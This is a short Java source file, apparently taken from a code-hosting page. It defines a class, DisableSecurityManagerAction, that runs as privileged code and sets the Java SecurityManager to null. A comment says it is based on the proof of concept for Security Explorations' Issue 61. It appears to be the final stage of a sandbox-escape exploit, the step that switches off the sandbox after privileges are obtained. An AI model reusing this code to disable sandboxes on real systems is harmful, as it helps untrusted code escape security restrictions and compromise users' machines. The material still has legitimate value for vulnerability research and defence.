29 lines
674 B
Java
29 lines
674 B
Java
import java.security.AccessController;
|
|
import java.security.PrivilegedActionException;
|
|
import java.security.PrivilegedExceptionAction;
|
|
|
|
/**
|
|
* Class for disabling the SecurityManager.
|
|
* Based on POC of Security Explorations' Issue 61.
|
|
* @author mk
|
|
*
|
|
*/
|
|
public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
|
|
|
|
public DisableSecurityManagerAction() {
|
|
try {
|
|
AccessController.doPrivileged(this);
|
|
} catch (PrivilegedActionException e) {
|
|
// TODO Auto-generated catch block
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
|
|
|
|
public Object run() throws Exception {
|
|
System.setSecurityManager(null);
|
|
return new Object();
|
|
}
|
|
|
|
}
|